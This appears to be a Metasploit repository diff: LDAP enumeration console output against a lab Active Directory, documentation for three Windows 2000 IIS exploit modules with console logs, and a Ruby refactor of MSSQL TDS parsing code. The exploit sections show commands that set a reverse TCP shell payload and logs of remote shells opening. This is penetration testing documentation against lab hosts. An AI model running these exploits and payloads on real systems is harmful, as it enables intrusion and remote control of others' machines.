OUTPUT_FORMAT csv yes The output format to use (Accepted: csv, table, json)
RHOSTS 172.20.161.209 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Usi
ng-Metasploit
RPORT 389 yes The target port
SSL false no Enable SSL on the LDAP connection
Auxiliary action:
Name Description
---- -----------
ENUM_COMPUTERS Dump all objects containing an objectCategory of Computer.
msf6 auxiliary(gather/ldap_query) > run
[*] Running module against 172.20.161.209
[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[+] 172.20.161.209:389 Discovered base DN: DC=daforest,DC=com
[*] Name,Attributes
"dn","CN=WIN-F7DQC9SR0HD,OU=Domain Controllers,DC=daforest,DC=com"
"distinguishedname","CN=WIN-F7DQC9SR0HD,OU=Domain Controllers,DC=daforest,DC=com"
"name","WIN-F7DQC9SR0HD"
"operatingsystemversion","10.0 (20348)"
"dnshostname","WIN-F7DQC9SR0HD.daforest.com"
[*] Name,Attributes
"dn","CN=FSRWLPT1000000,OU=Testing,DC=daforest,DC=com"
"description","Created with secframe.com/badblood."
"distinguishedname","CN=FSRWLPT1000000,OU=Testing,DC=daforest,DC=com"
"displayname","FSRWLPT1000000"
"name","FSRWLPT1000000"
[*] Name,Attributes
"dn","CN=TSTWVIR1000000,OU=FSR,OU=People,DC=daforest,DC=com"
"description","Created with secframe.com/badblood."
"distinguishedname","CN=TSTWVIR1000000,OU=FSR,OU=People,DC=daforest,DC=com"
"displayname","TSTWVIR1000000"
"name","TSTWVIR1000000"
*cut for brevity*
[*] Name,Attributes
"dn","CN=WVIR1000013,OU=Test,OU=BDE,OU=Tier 2,DC=daforest,DC=com"
"description","Created with secframe.com/badblood."
"distinguishedname","CN=WVIR1000013,OU=Test,OU=BDE,OU=Tier 2,DC=daforest,DC=com"
"displayname","WVIR1000013"
"name","WVIR1000013"
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_query) >
```
### ENUM_COMPUTERS with JSON Output
```
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/ldap_query
msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_COMPUTERS
ACTION => ENUM_COMPUTERS
msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.20.161.209
RHOSTS => 172.20.161.209
msf6 auxiliary(gather/ldap_query) > set BIND_PW thePassword123
BIND_PW => thePassword123
msf6 auxiliary(gather/ldap_query) > set BIND_DN normal@daforest.com
BIND_DN => normal@daforest.com
msf6 auxiliary(gather/ldap_query) > set OUTPUT_FORMAT json
OUTPUT_FORMAT => json
msf6 auxiliary(gather/ldap_query) > show options
Module options (auxiliary/gather/ldap_query):
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
BIND_DN normal@daforest.com no The username to authenticate to LDAP server
BIND_PW thePassword123 no Password for the BIND_DN
OUTPUT_FORMAT json yes The output format to use (Accepted: csv, table, json)
RHOSTS 172.20.161.209 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Usi
ng-Metasploit
RPORT 389 yes The target port
SSL false no Enable SSL on the LDAP connection
Auxiliary action:
Name Description
---- -----------
ENUM_COMPUTERS Dump all objects containing an objectCategory of Computer.
msf6 auxiliary(gather/ldap_query) > run
[*] Running module against 172.20.161.209
[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[+] 172.20.161.209:389 Discovered base DN: DC=daforest,DC=com
[*] CN=WIN-F7DQC9SR0HD OU=Domain Controllers DC=daforest DC=com
{
"dn": "CN=WIN-F7DQC9SR0HD,OU=Domain Controllers,DC=daforest,DC=com",
"distinguishedname": "CN=WIN-F7DQC9SR0HD,OU=Domain Controllers,DC=daforest,DC=com",
"name": "WIN-F7DQC9SR0HD",
"operatingsystemversion": "10.0 (20348)",
"dnshostname": "WIN-F7DQC9SR0HD.daforest.com"
}
[*] CN=FSRWLPT1000000 OU=Testing DC=daforest DC=com
{
"dn": "CN=FSRWLPT1000000,OU=Testing,DC=daforest,DC=com",
"description": "Created with secframe.com/badblood.",
"distinguishedname": "CN=FSRWLPT1000000,OU=Testing,DC=daforest,DC=com",
"displayname": "FSRWLPT1000000",
"name": "FSRWLPT1000000"
}
[*] CN=TSTWVIR1000000 OU=FSR OU=People DC=daforest DC=com
{
"dn": "CN=TSTWVIR1000000,OU=FSR,OU=People,DC=daforest,DC=com",
"description": "Created with secframe.com/badblood.",
"distinguishedname": "CN=TSTWVIR1000000,OU=FSR,OU=People,DC=daforest,DC=com",
"displayname": "TSTWVIR1000000",
"name": "TSTWVIR1000000"
}
*cut for brevity*
[*] CN=WLPT1000014 OU=AZR OU=Stage DC=daforest DC=com
{
"dn": "CN=WLPT1000014,OU=AZR,OU=Stage,DC=daforest,DC=com",
"description": "Created with secframe.com/badblood.",
"distinguishedname": "CN=WLPT1000014,OU=AZR,OU=Stage,DC=daforest,DC=com",
"displayname": "WLPT1000014",
"name": "WLPT1000014"
}
[*] CN=WWKS1000016 OU=T1-Roles OU=Tier 1 OU=Admin DC=daforest DC=com
{
"dn": "CN=WWKS1000016,OU=T1-Roles,OU=Tier 1,OU=Admin,DC=daforest,DC=com",
"description": "Created with secframe.com/badblood.",
"distinguishedname": "CN=WWKS1000016,OU=T1-Roles,OU=Tier 1,OU=Admin,DC=daforest,DC=com",
"displayname": "WWKS1000016",
"name": "WWKS1000016"
}
[*] CN=WVIR1000013 OU=Test OU=BDE OU=Tier 2 DC=daforest DC=com
{
"dn": "CN=WVIR1000013,OU=Test,OU=BDE,OU=Tier 2,DC=daforest,DC=com",
"description": "Created with secframe.com/badblood.",
"distinguishedname": "CN=WVIR1000013,OU=Test,OU=BDE,OU=Tier 2,DC=daforest,DC=com",
"displayname": "WVIR1000013",
"name": "WVIR1000013"
}
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_query) >
```
@@ -0,0 +1,108 @@
## Vulnerable Application
This exploits a buffer overflow in the request processor of the
Internet Printing Protocol ISAPI module in IIS. This module
works against Windows 2000 Server and Professional SP0-SP1.
If the service stops responding after a successful compromise,
run the exploit a couple more times to completely kill the
hung process.
This module has been tested successfully on:
* Windows 2000 Professional SP0 (Dutch)
* Windows 2000 Professional SP0 (Finnish)
* Windows 2000 Professional SP0 (Greek)
* Windows 2000 Professional SP0 (Korean)
* Windows 2000 Professional SP0 (Turkish)
* Windows 2000 Professional SP1 (Arabic)
* Windows 2000 Professional SP1 (Czech)
* Windows 2000 Professional SP1 (English)
* Windows 2000 Professional SP1 (Greek)
* Windows 2000 Server SP0 (Chinese)
* Windows 2000 Server SP0 (Dutch)
* Windows 2000 Server SP0 (English)
* Windows 2000 Server SP0 (German)
* Windows 2000 Server SP0 (Hungarian)
* Windows 2000 Server SP0 (Italian)
* Windows 2000 Server SP0 (Portuguese)
* Windows 2000 Server SP0 (Spanish)
* Windows 2000 Server SP0 (Turkish)
* Windows 2000 Server SP1 (English)
* Windows 2000 Server SP1 (French)
* Windows 2000 Server SP1 (Swedish)
## Verification Steps
1. `use exploit/windows/iis/ms01_023_printer`
1. `set RHOSTS [IP]`
1. `show targets` to see the possible targets
1. `set TARGET [TARGET]`
1. `set PAYLOAD windows/shell/reverse_tcp`
1. `set LHOST [IP]`
1. `run`
## Options
## Scenarios
### Windows 2000 Professional SP1 (EN)
```
msf6 > use exploit/windows/iis/ms01_023_printer
[*] Using configured payload windows/shell/reverse_tcp
msf6 exploit(windows/iis/ms01_023_printer) > set rhosts 192.168.200.195
rhosts => 192.168.200.195
msf6 exploit(windows/iis/ms01_023_printer) > check
[*] 192.168.200.195:80 - The target appears to be vulnerable.
msf6 exploit(windows/iis/ms01_023_printer) > show targets
Exploit targets:
Id Name
-- ----
0 Windows 2000 SP0-SP1 (Arabic)
1 Windows 2000 SP0-SP1 (Czech)
2 Windows 2000 SP0-SP1 (Chinese)
3 Windows 2000 SP0-SP1 (Dutch)
4 Windows 2000 SP0-SP1 (English)
5 Windows 2000 SP0-SP1 (French)
6 Windows 2000 SP0-SP1 (Finnish)
7 Windows 2000 SP0-SP1 (German)
8 Windows 2000 SP0-SP1 (Korean)
9 Windows 2000 SP0-SP1 (Hungarian)
10 Windows 2000 SP0-SP1 (Italian)
11 Windows 2000 SP0-SP1 (Portuguese)
12 Windows 2000 SP0-SP1 (Spanish)
13 Windows 2000 SP0-SP1 (Swedish)
14 Windows 2000 SP0-SP1 (Turkish)
15 Windows 2000 Pro SP0 (Greek)
16 Windows 2000 Pro SP1 (Greek)
msf6 exploit(windows/iis/ms01_023_printer) > set target 4
target => 4
msf6 exploit(windows/iis/ms01_023_printer) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf6 exploit(windows/iis/ms01_023_printer) > set lhost 192.168.200.130
lhost => 192.168.200.130
msf6 exploit(windows/iis/ms01_023_printer) > run
[*] Started reverse TCP handler on 192.168.200.130:4444
[*] Using target: Windows 2000 SP0-SP1 (English) ...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.200.195
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.195:1168) at 2022-07-08 11:07:42 -0400
Shell Banner:
Microsoft Windows 2000 [Version 5.00.2195]
-----
C:\WINNT\system32>ver
ver
Microsoft Windows 2000 [Version 5.00.2195]
```
@@ -0,0 +1,90 @@
## Vulnerable Application
This module can be used to execute arbitrary code on IIS servers
that expose the /msadc/msadcs.dll Microsoft Data Access Components
(MDAC) Remote Data Service (RDS) DataFactory service. The service is
exploitable even when RDS is configured to deny remote connections
(handsafe.reg). The service is vulnerable to a heap overflow where
the RDS DataStub 'Content-Type' string is overly long. Microsoft Data
Access Components (MDAC) 2.1 through 2.6 are known to be vulnerable.
This module has been tested successfully on:
* Windows 2000 Pro SP0-SP3 (English)
* Windows 2000 Pro SP0 (Korean)
* Windows 2000 Pro SP0 (Dutch)
* Windows 2000 Pro SP0 (Finnish)
* Windows 2000 Pro SP0 (Turkish)
* Windows 2000 Pro SP0-SP1 (Greek)
* Windows 2000 Pro SP1 (Arabic)
* Windows 2000 Pro SP1 (Czech)
* Windows 2000 Pro SP2 (French)
* Windows 2000 Pro SP2 (Portuguese)
## Verification Steps
1. `use exploit/windows/iis/ms02_065_msadc`
1. `set RHOSTS [IP]`
1. `show targets` to see the possible targets
1. `set TARGET [TARGET]`
1. `set PAYLOAD windows/shell/reverse_tcp`
1. `set LHOST [IP]`
1. `run`
## Options
### TARGETURI
The path to `msadcs.dll` (Default: `/msadc/msadcs.dll`)
## Scenarios
### Windows 2000 Professional SP3 (EN)
```
msf6 > use exploit/windows/iis/ms02_065_msadc
[*] Using configured payload windows/shell/reverse_tcp
msf6 exploit(windows/iis/ms02_065_msadc) > set rhosts 192.168.200.186
rhosts => 192.168.200.186
msf6 exploit(windows/iis/ms02_065_msadc) > show targets
Exploit targets:
Id Name
-- ----
0 Windows 2000 Pro SP0-SP3 (English)
1 Windows 2000 Pro SP0 (Korean)
2 Windows 2000 Pro SP0 (Dutch)
3 Windows 2000 Pro SP0 (Finnish)
4 Windows 2000 Pro SP0 (Turkish)
5 Windows 2000 Pro SP0-SP1 (Greek)
6 Windows 2000 Pro SP1 (Arabic)
7 Windows 2000 Pro SP1 (Czech)
8 Windows 2000 Pro SP2 (French)
9 Windows 2000 Pro SP2 (Portuguese)
msf6 exploit(windows/iis/ms02_065_msadc) > set target 0
target => 0
msf6 exploit(windows/iis/ms02_065_msadc) > set lhost 192.168.200.130
lhost => 192.168.200.130
msf6 exploit(windows/iis/ms02_065_msadc) > check
[*] 192.168.200.186:80 - The service is running, but could not be validated. /msadc/msadcs.dll content type matches fingerprint application/x-varg
msf6 exploit(windows/iis/ms02_065_msadc) > run
[*] Started reverse TCP handler on 192.168.200.130:4444
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.200.186
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.186:1028) at 2022-07-07 10:13:35 -0400
Shell Banner:
Microsoft Windows 2000 [Version 5.00.2195]
-----
C:\WINNT\system32>ver
ver
Microsoft Windows 2000 [Version 5.00.2195]
```
@@ -0,0 +1,105 @@
## Vulnerable Application
This exploits a buffer overflow in NTDLL.dll on Windows 2000
through the SEARCH WebDAV method in IIS. This particular
module only works against Windows 2000. It should have a
reasonable chance of success against SP0 to SP3.
This module has been tested successfully on:
* Windows 2000 Professional SP0 (EN)
* Windows 2000 Professional SP0 (FI)
* Windows 2000 Professional SP0 (NL)
* Windows 2000 Professional SP0 (TR)
* Windows 2000 Professional SP1 (AR)
* Windows 2000 Professional SP1 (CZ)
* Windows 2000 Professional SP1 (EN)
* Windows 2000 Professional SP2 (EN)
* Windows 2000 Professional SP2 (FR)
* Windows 2000 Professional SP2 (PT)
* Windows 2000 Professional SP3 (EN)
* Windows 2000 Server SP0 (DE)
* Windows 2000 Server SP0 (EN)
* Windows 2000 Server SP0 (ES)
* Windows 2000 Server SP0 (FR)
* Windows 2000 Server SP0 (HU)
* Windows 2000 Server SP0 (NL)
* Windows 2000 Server SP0 (PT)
* Windows 2000 Server SP0 (TR)
* Windows 2000 Server SP1 (EN)
* Windows 2000 Server SP1 (SE)
* Windows 2000 Server SP2 (EN)
* Windows 2000 Server SP2 (RU)
* Windows 2000 Server SP3 (DE)
* Windows 2000 Server SP3 (IT)
## Verification Steps
1. `use exploit/windows/iis/ms03_007_ntdll_webdav`
1. `set RHOSTS [IP]`
1. `set PAYLOAD windows/shell/reverse_tcp`
1. `set LHOST [IP]`
1. `run`
## Options
## Scenarios
### Windows 2000 Professional SP1 (EN)
```
msf6 > use exploit/windows/iis/ms03_007_ntdll_webdav
[*] Using configured payload windows/shell/reverse_tcp
msf6 exploit(windows/iis/ms03_007_ntdll_webdav) > set rhosts 192.168.200.195
rhosts => 192.168.200.195
msf6 exploit(windows/iis/ms03_007_ntdll_webdav) > set lhost 192.168.200.130
lhost => 192.168.200.130
msf6 exploit(windows/iis/ms03_007_ntdll_webdav) > check
[+] 192.168.200.195:80 - The target is vulnerable. We've hit a server error (exception)
msf6 exploit(windows/iis/ms03_007_ntdll_webdav) > run
[*] Started reverse TCP handler on 192.168.200.130:4444
[*] Trying return address 0x004e004f (1 / 88)...
[-] Attempt failed: Connection reset by peer
[*] Checking if IIS is back up after a failed attempt...
[-] Connection failed (1 of 20)...
[-] Connection failed (2 of 20)...
[-] Connection failed (3 of 20)...
[-] Connection failed (4 of 20)...
[*] Trying return address 0x00ce004f (2 / 88)...
[-] Attempt failed: Connection reset by peer
[*] Checking if IIS is back up after a failed attempt...
[-] Connection failed (1 of 20)...
[-] Connection failed (2 of 20)...
[*] Trying return address 0x00ce0041 (3 / 88)...
[-] Attempt failed: Connection reset by peer
[*] Checking if IIS is back up after a failed attempt...
[-] Connection failed (1 of 20)...
[-] Connection failed (2 of 20)...
[-] Connection failed (3 of 20)...
[-] Connection failed (4 of 20)...
[*] Trying return address 0x00430041 (4 / 88)...
[-] Attempt failed: Connection reset by peer
[*] Checking if IIS is back up after a failed attempt...
[-] Connection failed (1 of 20)...
[-] Connection failed (2 of 20)...
[*] Trying return address 0x00b40041 (5 / 88)...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.200.195
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.195:1066) at 2022-07-07 06:13:21 -0400
Shell Banner:
Microsoft Windows 2000 [Version 5.00.2195]
-----
C:\WINNT\system32>ver
ver
Microsoft Windows 2000 [Version 5.00.2195]
C:\WINNT\system32>
```
+354
View File
@@ -0,0 +1,354 @@
module Metasploit
module Framework
module MSSQL
# A base mixin of useful mssql methods for parsing structures etc
module Base
# Encryption
ENCRYPT_OFF = 0x00 #Encryption is available but off.
ENCRYPT_ON = 0x01 #Encryption is available and on.
ENCRYPT_NOT_SUP = 0x02 #Encryption is not available.
ENCRYPT_REQ = 0x03 #Encryption is required.
# Packet Type
TYPE_SQL_BATCH = 1 # (Client) SQL command
TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused)
TYPE_RPC = 3 # (Client) RPC
TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
# Request Completion, Error and Info Messages, Attention Acknowledgement
TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention
TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data
TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager
TYPE_TDS7_LOGIN = 16 # (Client) Login
TYPE_SSPI_MESSAGE = 17 # (Client) Login
TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7
# Status
STATUS_NORMAL = 0x00
STATUS_END_OF_MESSAGE = 0x01
STATUS_IGNORE_EVENT = 0x02
STATUS_RESETCONNECTION = 0x08 # TDS 7.1+
STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+
#
# Send and receive using TDS
#
def mssql_send_recv(req, timeout=15, check_status = true)
sock.put(req)
# Read the 8 byte header to get the length and status
# Read the length to get the data
# If the status is 0, read another header and more data
done = false
resp = ""
while(not done)
head = sock.get_once(8, timeout)
if !(head && head.length == 8)
return false
end
# Is this the last buffer?
if head[1, 1] == "\x01" || !check_status
done = true
end
# Grab this block's length
rlen = head[2, 2].unpack('n')[0] - 8
while(rlen > 0)
buff = sock.get_once(rlen, timeout)
return if not buff
resp << buff
rlen -= buff.length
end
end
resp
end
#
# Encrypt a password according to the TDS protocol (encode)
#
def mssql_tds_encrypt(pass)
# Convert to unicode, swap 4 bits both ways, xor with 0xa5
Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*")
end
#
# Parse a raw TDS reply from the server
#
def mssql_parse_tds_reply(data, info)
info[:errors] ||= []
info[:colinfos] ||= []
info[:colnames] ||= []
# Parse out the columns
cols = data.slice!(0, 2).unpack('v')[0]
0.upto(cols-1) do |col_idx|
col = {}
info[:colinfos][col_idx] = col
col[:utype] = data.slice!(0, 2).unpack('v')[0]
col[:flags] = data.slice!(0, 2).unpack('v')[0]
col[:type] = data.slice!(0, 1).unpack('C')[0]
case col[:type]
when 48
col[:id] = :tinyint
when 52
col[:id] = :smallint
when 56
col[:id] = :rawint
when 61
col[:id] = :datetime
when 34
col[:id] = :image
col[:max_size] = data.slice!(0, 4).unpack('V')[0]
col[:value_length] = data.slice!(0, 2).unpack('v')[0]
col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '')
when 36
col[:id] = :string
when 38
col[:id] = :int
col[:int_size] = data.slice!(0, 1).unpack('C')[0]
when 127
col[:id] = :bigint
when 165
col[:id] = :hex
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
when 173
col[:id] = :hex # binary(2)
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
when 231, 175, 167, 239
col[:id] = :string
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
col[:codepage] = data.slice!(0, 2).unpack('v')[0]
col[:cflags] = data.slice!(0, 2).unpack('v')[0]
col[:charset_id] = data.slice!(0, 1).unpack('C')[0]
else
col[:id] = :unknown
end
col[:msg_len] = data.slice!(0, 1).unpack('C')[0]
if col[:msg_len] && col[:msg_len] > 0
col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '')
end
info[:colnames] << (col[:name] || 'NULL')
end
end
#
# Parse individual tokens from a TDS reply
#
def mssql_parse_reply(data, info)
info[:errors] = []
return if not data
until data.empty?
token = data.slice!(0, 1).unpack('C')[0]
case token
when 0x81
mssql_parse_tds_reply(data, info)
when 0xd1
mssql_parse_tds_row(data, info)
when 0xe3
mssql_parse_env(data, info)
when 0x79
mssql_parse_ret(data, info)
when 0xfd, 0xfe, 0xff
mssql_parse_done(data, info)
when 0xad
mssql_parse_login_ack(data, info)
when 0xab
mssql_parse_info(data, info)
when 0xaa
mssql_parse_error(data, info)
when nil
break
else
info[:errors] << "unsupported token: #{token}"
end
end
info
end
#
# Parse a single row of a TDS reply
#
def mssql_parse_tds_row(data, info)
info[:rows] ||= []
row = []
info[:colinfos].each do |col|
if(data.length == 0)
row << "<EMPTY>"
next
end
case col[:id]
when :hex
str = ""
len = data.slice!(0, 2).unpack('v')[0]
if len > 0 && len < 65535
str << data.slice!(0, len)
end
row << str.unpack("H*")[0]
when :string
str = ""
len = data.slice!(0, 2).unpack('v')[0]
if len > 0 && len < 65535
str << data.slice!(0, len)
end
row << str.gsub("\x00", '')
when :datetime
row << data.slice!(0, 8).unpack("H*")[0]
when :rawint
row << data.slice!(0, 4).unpack('V')[0]
when :bigint
row << data.slice!(0, 8).unpack("H*")[0]
when :smallint
row << data.slice!(0, 2).unpack("v")[0]
when :smallint3
row << [data.slice!(0, 3)].pack("Z4").unpack("V")[0]
when :tinyint
row << data.slice!(0, 1).unpack("C")[0]
when :image
str = ''
len = data.slice!(0, 1).unpack('C')[0]
str = data.slice!(0, len) if len && len > 0
row << str.unpack("H*")[0]
when :int
len = data.slice!(0, 1).unpack("C")[0]
raw = data.slice!(0, len) if len && len > 0
case len
when 0, 255
row << ''
when 1
row << raw.unpack("C")[0]
when 2
row << raw.unpack('v')[0]
when 4
row << raw.unpack('V')[0]
when 5
row << raw.unpack('V')[0] # XXX: missing high byte
when 8
row << raw.unpack('VV')[0] # XXX: missing high dword
else
info[:errors] << "invalid integer size: #{len} #{data[0, 16].unpack("H*")[0]}"
end
else
info[:errors] << "unknown column type: #{col.inspect}"
end
end
info[:rows] << row
info
end
#
# Parse a "ret" TDS token
#
def mssql_parse_ret(data, info)
ret = data.slice!(0, 4).unpack('N')[0]
info[:ret] = ret
info
end
#
# Parse a "done" TDS token
#
def mssql_parse_done(data, info)
status, cmd, rows = data.slice!(0, 8).unpack('vvV')
info[:done] = { :status => status, :cmd => cmd, :rows => rows }
info
end
#
# Parse an "error" TDS token
#
def mssql_parse_error(data, info)
len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0, len)
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
emsg = buff.slice!(0, elen * 2)
emsg.gsub!("\x00", '')
info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
info
end
#
# Parse an "environment change" TDS token
#
def mssql_parse_env(data, info)
len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0, len)
type = buff.slice!(0, 1).unpack('C')[0]
nval = ''
nlen = buff.slice!(0, 1).unpack('C')[0] || 0
nval = buff.slice!(0, nlen * 2).gsub("\x00", '') if nlen > 0
oval = ''
olen = buff.slice!(0, 1).unpack('C')[0] || 0
oval = buff.slice!(0, olen * 2).gsub("\x00", '') if olen > 0
info[:envs] ||= []
info[:envs] << { :type => type, :old => oval, :new => nval }
info
end
#
# Parse an "information" TDS token
#
def mssql_parse_info(data, info)
len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0, len)
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
emsg = buff.slice!(0, elen * 2)
emsg.gsub!("\x00", '')
info[:infos] ||= []
info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
info
end
#
# Parse a "login ack" TDS token
#
def mssql_parse_login_ack(data, info)
len = data.slice!(0, 2).unpack('v')[0]
_buff = data.slice!(0, len)
info[:login_ack] = true
end
end
end
end
end
+3 -345
View File
@@ -1,5 +1,6 @@
require 'metasploit/framework/tcp/client'
require 'metasploit/framework/mssql/tdssslproxy'
require 'metasploit/framework/mssql/base'
module Metasploit
module Framework
@@ -8,32 +9,7 @@ module Metasploit
module Client
extend ActiveSupport::Concern
include Metasploit::Framework::Tcp::Client
# Encryption
ENCRYPT_OFF = 0x00 #Encryption is available but off.
ENCRYPT_ON = 0x01 #Encryption is available and on.
ENCRYPT_NOT_SUP = 0x02 #Encryption is not available.
ENCRYPT_REQ = 0x03 #Encryption is required.
# Packet Type
TYPE_SQL_BATCH = 1 # (Client) SQL command
TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused)
TYPE_RPC = 3 # (Client) RPC
TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
# Request Completion, Error and Info Messages, Attention Acknowledgement
TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention
TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data
TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager
TYPE_TDS7_LOGIN = 16 # (Client) Login
TYPE_SSPI_MESSAGE = 17 # (Client) Login
TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7
# Status
STATUS_NORMAL = 0x00
STATUS_END_OF_MESSAGE = 0x01
STATUS_IGNORE_EVENT = 0x02
STATUS_RESETCONNECTION = 0x08 # TDS 7.1+
STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+
include Metasploit::Framework::MSSQL::Base
#
# This method connects to the server over TCP and attempts
@@ -145,7 +121,7 @@ module Metasploit
if tdsencryption == true
proxy = TDSSSLProxy.new(sock)
proxy.setup_ssl
resp = proxy.send_recv(pkt, 15, false)
resp = proxy.send_recv(pkt)
else
resp = mssql_send_recv(pkt, 15, false)
end
@@ -281,278 +257,6 @@ module Metasploit
info[:login_ack] ? true : false
end
#
# Parse an "environment change" TDS token
#
def mssql_parse_env(data, info)
len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0, len)
type = buff.slice!(0, 1).unpack('C')[0]
nval = ''
nlen = buff.slice!(0, 1).unpack('C')[0] || 0
nval = buff.slice!(0, nlen*2).gsub("\x00", '') if nlen > 0
oval = ''
olen = buff.slice!(0, 1).unpack('C')[0] || 0
oval = buff.slice!(0, olen*2).gsub("\x00", '') if olen > 0
info[:envs] ||= []
info[:envs] << { :type => type, :old => oval, :new => nval }
info
end
#
# Parse a "ret" TDS token
#
def mssql_parse_ret(data, info)
ret = data.slice!(0, 4).unpack('N')[0]
info[:ret] = ret
info
end
#
# Parse a "done" TDS token
#
def mssql_parse_done(data, info)
status, cmd, rows = data.slice!(0, 8).unpack('vvV')
info[:done] = { :status => status, :cmd => cmd, :rows => rows }
info
end
#
# Parse an "error" TDS token
#
def mssql_parse_error(data, info)
len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0, len)
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
emsg = buff.slice!(0, elen * 2)
emsg.gsub!("\x00", '')
info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
info
end
#
# Parse an "information" TDS token
#
def mssql_parse_info(data, info)
len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0, len)
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
emsg = buff.slice!(0, elen * 2)
emsg.gsub!("\x00", '')
info[:infos] ||= []
info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
info
end
#
# Parse a "login ack" TDS token
#
def mssql_parse_login_ack(data, info)
len = data.slice!(0, 2).unpack('v')[0]
_buff = data.slice!(0, len)
info[:login_ack] = true
end
#
# Parse individual tokens from a TDS reply
#
def mssql_parse_reply(data, info)
info[:errors] = []
return if not data
until data.empty?
token = data.slice!(0, 1).unpack('C')[0]
case token
when 0x81
mssql_parse_tds_reply(data, info)
when 0xd1
mssql_parse_tds_row(data, info)
when 0xe3
mssql_parse_env(data, info)
when 0x79
mssql_parse_ret(data, info)
when 0xfd, 0xfe, 0xff
mssql_parse_done(data, info)
when 0xad
mssql_parse_login_ack(data, info)
when 0xab
mssql_parse_info(data, info)
when 0xaa
mssql_parse_error(data, info)
when nil
break
else
info[:errors] << "unsupported token: #{token}"
end
end
info
end
#
# Parse a raw TDS reply from the server
#
def mssql_parse_tds_reply(data, info)
info[:errors] ||= []
info[:colinfos] ||= []
info[:colnames] ||= []
# Parse out the columns
cols = data.slice!(0, 2).unpack('v')[0]
0.upto(cols-1) do |col_idx|
col = {}
info[:colinfos][col_idx] = col
col[:utype] = data.slice!(0, 2).unpack('v')[0]
col[:flags] = data.slice!(0, 2).unpack('v')[0]
col[:type] = data.slice!(0, 1).unpack('C')[0]
case col[:type]
when 48
col[:id] = :tinyint
when 52
col[:id] = :smallint
when 56
col[:id] = :rawint
when 61
col[:id] = :datetime
when 34
col[:id] = :image
col[:max_size] = data.slice!(0, 4).unpack('V')[0]
col[:value_length] = data.slice!(0, 2).unpack('v')[0]
col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '')
when 36
col[:id] = :string
when 38
col[:id] = :int
col[:int_size] = data.slice!(0, 1).unpack('C')[0]
when 127
col[:id] = :bigint
when 165
col[:id] = :hex
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
when 173
col[:id] = :hex # binary(2)
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
when 231, 175, 167, 239
col[:id] = :string
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
col[:codepage] = data.slice!(0, 2).unpack('v')[0]
col[:cflags] = data.slice!(0, 2).unpack('v')[0]
col[:charset_id] = data.slice!(0, 1).unpack('C')[0]
else
col[:id] = :unknown
end
col[:msg_len] = data.slice!(0, 1).unpack('C')[0]
if(col[:msg_len] and col[:msg_len] > 0)
col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '')
end
info[:colnames] << (col[:name] || 'NULL')
end
end
#
# Parse a single row of a TDS reply
#
def mssql_parse_tds_row(data, info)
info[:rows] ||= []
row = []
info[:colinfos].each do |col|
if(data.length == 0)
row << "<EMPTY>"
next
end
case col[:id]
when :hex
str = ""
len = data.slice!(0, 2).unpack('v')[0]
if(len > 0 and len < 65535)
str << data.slice!(0, len)
